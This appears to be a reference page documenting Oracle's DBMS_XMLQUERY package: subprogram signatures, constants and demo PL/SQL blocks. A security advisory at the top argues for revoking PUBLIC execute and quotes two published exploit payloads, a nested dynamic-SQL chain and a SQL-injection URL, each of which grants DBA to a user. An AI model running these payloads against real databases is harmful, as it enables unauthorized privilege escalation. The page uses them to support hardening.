Oracle DBMS_XMLQUERY Built-In Package
Versions 9.2 - 19.3

-
Security Advisory
Provides database-to-XMLType functionality. Whenever possible, Oracle recommends the use of DBMS_XMLGEN, a built-in package in C, instead of this package. This package is deprecated as of 18.1 in favor of DBMS_XMLGEN but is still in the released product.

Unfortunately, once again, Oracle has granted execute to PUBLIC in a package where exploits have been publicly demonstrated.
 
Recommended Security Rules

 NEVER
    Let any user or schema without documented justification or escalated privileges gain access to this package by revoking EXECUTE from PUBLIC
 WITH GREAT CARE
  • Identify legitimate requirements for access to this package and grant EXECUTE explicitly to only schemas with a justified need
 CAUTIONS
  • Some usage may be in the form of dynamic SQL so carefully verify usage requirements in source code as well as in DBA_DEPENDENCIES
 
How Oracle Works
David Lichfield first revealed issues with this package at Defcon 2011

The code at right is copied a Red Database security presentation from that same year but formatted for easy readability.		 SELECT dbms_xmlquery.newcontext(
  'DECLARE
     PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
     EXECUTE IMMEDIATE '' BEGIN sys.vulnproc(''''a'''''''' ||
       sys.kupp$proc.create_master_process(''''''''EXECUTE IMMEDIATE ''''''''''''''''
       DECLARE
         PRAGMA AUTONOMOUS_TRANSACTION;
       BEGIN EXECUTE IMMEDIATE ''''''''''''''''''''''''''''''''GRANT DBA TO
         SCOTT'''''''''''''''''''''''''''''''';
       END;
       '''''''''''''''';'''''''')||''''''''a'''');
     END;''; COMMIT; END;')
FROM dual;


http://host/index.jsp?id=1 AND (
  SELECT dbms_xmlquery.newcontext('
    DECLARE
      PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
      EXECUTE IMMEDIATE ''DECLARE
                           D NUMBER;
                          BEGIN
                            D := dbms_sql.open_cursor;
                            dbms_sql.parse(D,''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
                             BEGIN
                               EXECUTE IMMEDIATE ''''''''GRANT  dba TO scott'''''''';
                               COMMIT;
                             END;'''', 0);
                          sys.lt.createworkspace(''''a'''''''' AND
                          dbms_sql.execute(''''|| D||'''')=1--');
                          sys.lt.compresssworkspacetree (''''a'''''''' and dbms_sql.execute(''''||
                            D || '''') = 1--'''');
                          END;'';
                          COMMIT;
       END;')
    FROM dual) is not null --
 
AUTHID CURRENT_USER
Constants
Name Data Type Value
General
DEFAULT_ROWSETTAG VARCHAR2(6) 'ROWSET' /* rowsettag */
DEFAULT_ERRORTAG VARCHAR2(5) 'ERROR' /* error tag */
DEFAULT_ROWIDATTR VARCHAR2(3) 'NUM' /* Row ID attr */
DEFAULT_ROWTAG VARCHAR2(3) 'ROW' /* rowtag */
DEFAULT_DATE_FORMAT VARCHAR2(21) 'MM/dd/yyyy HH:mm:ss'
ALL_ROWS NUMBER -1 /* NO MAX, render all */
LOWER_CASE NUMBER 1 /* LOWER case */
NONE NUMBER 0 /* NO META */
DTD NUMBER 1 /* META = DTD */
SCHEMA NUMBER 2 /* META = SCHEMA */
UPPER_CASE NUMBER 2 /* UPPER case */
Encoding Signal
DB_ENCODING VARCHAR2(1) '_'
Data Types SUBTYPE ctxType IS NUMBER; /* context type */

SUBTYPE ctxHandle IS NUMBER;
Dependencies
ALL_OBJECTS DBMS_LOB DBMS_OUTPUT
Documented Yes
Exceptions
Error Code Reason
ORA-29532 Java call terminated by uncaught Java exception: oracle.xml.sql.OracleXMLSQLException: Invalid context handle specified.
First Available Not known but believed to be 9.2.0.1
Security Model Owned by SYS with EXECUTE granted to PUBLIC
Source {ORACLE_HOME}/rdbms/admin/dbmsxsu.sql
Subprograms
CLEARBINDVALUES P_SETSQLTOXMLNAMEESC SETRAISEEXCEPTION
CLOSECONTEXT P_SETSTRICTLEGALXMLCHARCHECK SETRAISENOROWSEXCEPTION
GETDTD P_SETSTYLESHEETHEADER SETROWIDATTRNAME
GETEXCEPTIONCONTENT P_SETXSLT SETROWIDATTRVALUE
GETNUMROWSPROCESSED P_USENULLATTRIND SETROWSETTAG
GETVERSION P_USETYPEFORCOLLELEMTAG SETROWTAG
GETXML REMOVEXSLTPARAM SETSKIPROWS
NEWCONTEXT RESETRESULTSET SETSQLTOXMLNAMEESCAPING
PROPAGATEORIGINALEXCEPTION SETBINDVALUE SETSTRICTLEGALXMLCHARCHECK
P_GETDTD SETCOLLIDATTRNAME SETSTYLESHEETHEADER
P_GETXML SETDATAHEADER SETTAGCASE
P_PROPORIGEXC SETDATEFORMAT SETXSLT
P_SETDATAHEADER SETENCODINGTAG SETXSLTPARAM
P_SETENCODINGTAG SETERRORTAG USENULLATTRIBUTEINDICATOR
P_SETMETAHEADER SETMAXROWS USETYPEFORCOLLELEMTAG
P_SETRAISEEXCEPTION SETMETAHEADER Demo
P_SETRAISENOROWSEXC    
 
CLEARBINDVALUES
Undocumented dbms_xmlquery.clearBindValues(ctxHdl IN ctxType);
See Demo Below
 
CLOSECONTEXT
Closes or deallocates a particular query context dbms_xmlquery.closeContext(ctxHdl IN ctxType);
See Demo Below
 
GETDTD
Generates the DTD

Overload 1		 dbms_xmlquery.getDTD(
ctxHdl  IN ctxType,
withVer IN BOOLEAN := FALSE)
RETURN CLOB;
TBD
Overload 2 dbms_xmlquery.getDTD(
ctxHdl IN ctxType,
xDoc   IN CLOB,
withVer IN BOOLEAN := FALSE);
TBD
 
GETEXCEPTIONCONTENT
Returns the thrown exception's error code and error message dbms_xmlquery.getExceptionContent(
ctxHdl IN  ctxType,
errNo  OUT NUMBER,
errMsg OUT VARCHAR2);
DECLARE
 h       dbms_xmlquery.ctxType;
 stmnt   CLOB := 'SELECT table_name FROM dba_all_tables WHERE rownum < 3';
 errNo   NUMBER;
 errMsg  VARCHAR2(60);
BEGIN
  h := dbms_xmlquery.newContext(stmnt);
  dbms_xmlquery.getExceptionContent(h, errNo, errMsg);
  errMsg := NVL(errMsg, 'Success');
  dbms_output.put_line(TO_CHAR(errNo));
  dbms_output.put_line(errMsg);
  dbms_xmlquery.closeContext(h);
END;
/
 
GETNUMROWSPROCESSED
Returns the number of rows processed for the query dbms_xmlquery.getNumRowsProcessed(ctxHdl IN ctxType) RETURN NUMBER;
DECLARE
 h dbms_xmlquery.ctxType;
 c CLOB;
 i PLS_INTEGER;
BEGIN
  h := dbms_xmlquery.newContext(
       'SELECT table_name FROM dba_all_tables WHERE rownum < 4');
  dbms_xmlquery.propagateOriginalException(h, FALSE);
  c := dbms_xmlquery.getXML(h);
  i := dbms_xmlquery.getNumRowsProcessed(h);
  dbms_output.put_line('Rows Processed = ' || TO_CHAR(i));
  dbms_output.put_line(c);
  dbms_xmlquery.closeContext(h);
  dbms_output.put_line('Success');
EXCEPTION
  WHEN OTHERS THEN
    dbms_xmlquery.closeContext(h);
    dbms_output.put_line('Exception Raised');
END;
/
 
GETVERSION
Prints the version of the XSU in use dbms_xmlquery.getVersion;
set serveroutput on

exec dbms_xmlquery.getVersion;

XSU Version                Owner         Timestamp
-------------------------- ------------- ----------------


PL/SQL procedure successfully completed.
 
GETXML
Generates the XML document
Overload 1		 dbms_xmlquery.getXML(
ctxHdl   IN ctxType,
metaType IN NUMBER := NONE)
RETURN CLOB;
See Demo Below
Overload 2 dbms_xmlquery.getXML(
ctxHdl   IN ctxType,
xDoc     IN CLOB,
metaType IN NUMBER := NONE);
See Demo Below
Overload 3 dbms_xmlquery.getXML(
sqlQuery IN VARCHAR2,
metaType IN NUMBER := NONE)
RETURN CLOB;
See Demo Below
Overload 4 dbms_xmlquery.getXML(
sqlQuery IN CLOB,
metaType IN NUMBER := NONE)
RETURN CLOB;
See Demo Below
 
NEWCONTEXT
Creates a query context and returns the context handle

Overload 1		 dbms_xmlquery.newContext(sqlQuery IN VARCHAR2) RETURN ctxType;
DECLARE
 h dbms_xmlquery.ctxType;
BEGIN
  h := dbms_xmlquery.newContext(
       'SELECT table_name FROM dba_all_tables WHERE rownum < 11');
  dbms_output.put_line(TO_CHAR(h));
  dbms_xmlquery.closeContext(h);
END;
/

/
Overload 2 dbms_xmlquery.newContext(sqlQuery IN CLOB) RETURN ctxType;
DECLARE
 h     dbms_xmlquery.ctxType;
 stmnt CLOB := 'SELECT table_name FROM dba_all_tables WHERE rownum < 11';
BEGIN
  h := dbms_xmlquery.newContext(stmnt);
  dbms_output.put_line(TO_CHAR(h));
  dbms_xmlquery.closeContext(h);
END;
/

/
 
PROPAGATEORIGINALEXCEPTION
Tells the XSU that if an exception is raised it should throw the  exception rather then, wrap it with an OracleXMLSQLException dbms_xmlquery.propagateOriginalException(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
DECLARE
 h dbms_xmlquery.ctxType;
BEGIN
  h := dbms_xmlquery.newContext(
       'SELECT table_name FROM dba_all_tables WHERE rownum < 11');
  dbms_xmlquery.propagateOriginalException(h, TRUE);
  dbms_xmlquery.closeContext(h);
END;
/
 
P_GETDTD
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_getDTD(
ctxHdl  IN ctxType,
xDoc    IN CLOB,
withVer IN NUMBER);
TBD
 
P_GETXML
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_getXML(
ctxHdl   IN ctxType,
xDoc     IN CLOB,
metaType IN NUMBER);
TBD
 
P_PROPORIGEXC
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_propOrigExc(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_SETDATAHEADER
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setDataHeader(
ctxHdl IN ctxType,
header IN CLOB,
tag    IN VARCHAR2);
TBD
 
P_SETENCODINGTAG
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setEncodingTag(
ctxHdl IN ctxType,
enc    IN VARCHAR2);
TBD
 
P_SETMETAHEADER
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setMetaHeader(
ctxHdl IN ctxType,
header IN CLOB);
TBD
 
P_SETRAISEEXCEPTION
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setRaiseException(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_SETRAISENOROWSEXC
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setRaiseNoRowsExc(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_SETSQLTOXMLNAMEESC
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setSQLToXMLNameEsc(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_SETSTRICTLEGALXMLCHARCHECK
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setStrictLegalXMLCharCheck(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_SETSTYLESHEETHEADER
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_setStylesheetHeader(
ctxHdl IN ctxType,
uri    IN VARCHAR2,
type   IN VARCHAR2);
TBD
 
P_SETXSLT
ORA-600 [kgmexchi11] Bug Workaround
Overload 1		 dbms_xmlquery.p_setXSLT(
ctxHdl IN ctxType,
uri    IN VARCHAR2,
ref    IN VARCHAR2);
TBD
Overload 2 dbms_xmlquery.p_setXSLT(
ctxHdl     IN ctxType,
stylesheet IN CLOB,
ref        IN VARCHAR2);
TBD
 
P_USENULLATTRIND
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_useNullAttrInd(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
P_USETYPEFORCOLLELEMTAG
ORA-600 [kgmexchi11] Bug Workaround dbms_xmlquery.p_useTypeForCollElemTag(
ctxHdl IN ctxType,
flag   IN NUMBER);
TBD
 
REMOVEXSLTPARAM
Removes the named top-level stylesheet parameter dbms_xmlquery.removeXSLTParam(
ctxHdl IN ctxType,
name   IN VARCHAR2);
TBD
 
RESETRESULTSET
Undocumented but appears to clear (reset) the result set dbms_xmlquery.resetResultSet(ctxHdl IN ctxType);
TBD
 
SETBINDVALUE
Sets a value for a particular bind name dbms_xmlquery.setBindValue(
ctxHdl    IN ctxType,
bindName  IN VARCHAR2,
bindValue IN VARCHAR2);
TBD
 
SETCOLLIDATTRNAME
Sets the name of the id attribute of the collection element's separator tag. Attribute is omitted if NULL is passed. dbms_xmlquery.setCollIdAttrName(
ctxHdl   IN ctxType,
attrName IN VARCHAR2);
TBD
 
SETDATAHEADER
Sets the XML data header dbms_xmlquery.setDataHeader(
ctxHdl IN ctxType,
header IN CLOB     := NULL,
tag    IN VARCHAR2 := NULL);
See Demo Below
 
SETDATEFORMAT
Sets the format of the generated dates for the XML document dbms_xmlquery.setDateFormat(
ctxHdl IN ctxType,
mask   IN VARCHAR2);
See Demo Below
 
SETENCODINGTAG
Sets the encoding processing instruction in the XML document dbms_xmlquery.setEncodingTag(
ctxHdl IN ctxType,
enc    IN VARCHAR2 := DB_ENCODING);
TBD
 
SETERRORTAG
Sets the tag to be used to enclose the XML error documents dbms_xmlquery.setErrorTag(
ctxHdl IN ctxType,
tag    IN VARCHAR2);
See Demo Below
 
SETMAXROWS
Sets the maximum number of rows to be converted to XML dbms_xmlquery.setMaxRows(
ctxHdl IN ctxType,
rows   IN NUMBER);
See Demo Below
 
SETMETAHEADER
Sets the XML meta header dbms_xmlquery.setMetaHeader(
ctxHdl IN ctxType,
header IN CLOB := NULL);
TBD
 
SETRAISEEXCEPTION
Tells the XSU to throw the raised exceptions dbms_xmlquery.setRaiseException(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
SETRAISENOROWSEXCEPTION
Tells the XSU to throw or not to throw an exception if the XML document generated is empty dbms_xmlquery.setRaiseNoRowsException(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
SETROWIDATTRNAME
Sets the name of the id attribute of the row enclosing tag dbms_xmlquery.setRowIdAttrName(
ctxHdl   IN ctxType,
attrName IN VARCHAR2);
TBD
 
SETROWIDATTRVALUE
Specifies the scalar column whose value is to be assigned to the id attribute of the row enclosing tag dbms_xmlquery.setRowIdAttrValue(
ctxHdl  IN ctxType,
colName IN VARCHAR2);
TBD
 
SETROWSETTAG
Sets the tag to be used to enclose the XML dataset dbms_xmlquery.setRowsetTag(
ctxHdl IN ctxType,
tag    IN VARCHAR2);
See Demo Below
 
SETROWTAG
Sets the tag to be used to enclose the XML element dbms_xmlquery.setRowTag(
ctxHdl IN ctxType,
tag    IN VARCHAR2);
See Demo Below
 
SETSKIPROWS
Sets the number of rows to skip dbms_xmlquery.setSkipRows(
ctxHdl IN ctxType,
rows   IN NUMBER);
TBD
 
SETSQLTOXMLNAMEESCAPING
Turns on or off escaping of XML tags in the case that the SQL object name, which is mapped to a XML identifier, is not a valid XML identifier dbms_xmlquery.setSQLToXMLNameEscaping(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
SETSTRICTLEGALXMLCHARCHECK
Undocumented dbms_xmlquery.setStrictLegalXMLCharCheck(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
SETSTYLESHEETHEADER
Sets the stylesheet header dbms_xmlquery.setStylesheetHeader(
ctxHdl IN ctxType,
uri    IN VARCHAR2,
type   IN VARCHAR2 := 'text/xsl');
TBD
 
SETTAGCASE
Specified the case of the generated XML tags dbms_xmlquery.setTagCase(ctxHdl IN ctxType, tCase IN NUMBER);
See Demo Below and not how the tag case is affected in the output
 
SETXSLT
Registers a stylesheet to be applied to generated XML

Overload 1		 dbms_xmlquery.setXSLT(
ctxHdl IN ctxType,
uri    IN VARCHAR2,
ref    IN VARCHAR2 := NULL);
TBD
Overload 2 dbms_xmlquery.setXSLT(
ctxHdl     IN ctxType,
stylesheet IN CLOB,
ref        IN VARCHAR2 := NULL);
TBD
 
SETXSLTPARAM
Sets the value of a top-level stylesheet parameter dbms_xmlquery.setXSLTParam(
ctxHdl IN ctxType,
name   IN VARCHAR2,
value  IN VARCHAR2);
TBD
 
USENULLATTRIBUTEINDICATOR
Specifies weather to use an XML attribute to indicate NULLness dbms_xmlquery.useNullAttributeIndicator(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
USETYPEFORCOLLELEMTAG
Tells the XSU to use the collection element's type name as the collection element tag name dbms_xmlquery.useTypeForCollElemTag(
ctxHdl IN ctxType,
flag   IN BOOLEAN := TRUE);
TBD
 
Demo
This demo is formulated to use many of the packages individual objects to demonstrate their syntax ... not to do anything useful

Note the use of setMaxRows to limit the number of rows selected in the demo to 2		 DECLARE
 h dbms_xmlquery.ctxType;
 c CLOB;
 i PLS_INTEGER;
BEGIN
  h := dbms_xmlquery.newContext('SELECT object_name, created
                                 FROM dba_objects
                                 WHERE rownum < 42');
  dbms_xmlquery.setRowsetTag(h, 'OBJ_DATA');
  dbms_xmlquery.setRowTag(h, 'OBJ_NAME');
  dbms_xmlquery.setDataHeader(h, 'MLIB', 'OBJ_DATA');
  dbms_xmlquery.setDateFormat(h, dbms_xmlquery.default_date_format);
  dbms_xmlquery.setErrorTag(h, 'OOPS');
  dbms_xmlquery.setMaxRows (h, 2);
  dbms_xmlquery.setTagCase(h, dbms_xmlquery.lower_case);

  c := dbms_xmlquery.getXML(h);
  dbms_output.put_line(c);
  dbms_xmlquery.clearBindValues(h);
  dbms_xmlquery.closeContext(h);
  dbms_output.put_line('Success');
EXCEPTION
  WHEN OTHERS THEN
    dbms_xmlquery.clearBindValues(h);
    dbms_xmlquery.closeContext(h);
    dbms_output.put_line('Exception Raised');
END;
/

Related Topics
DBMS_XMLGEN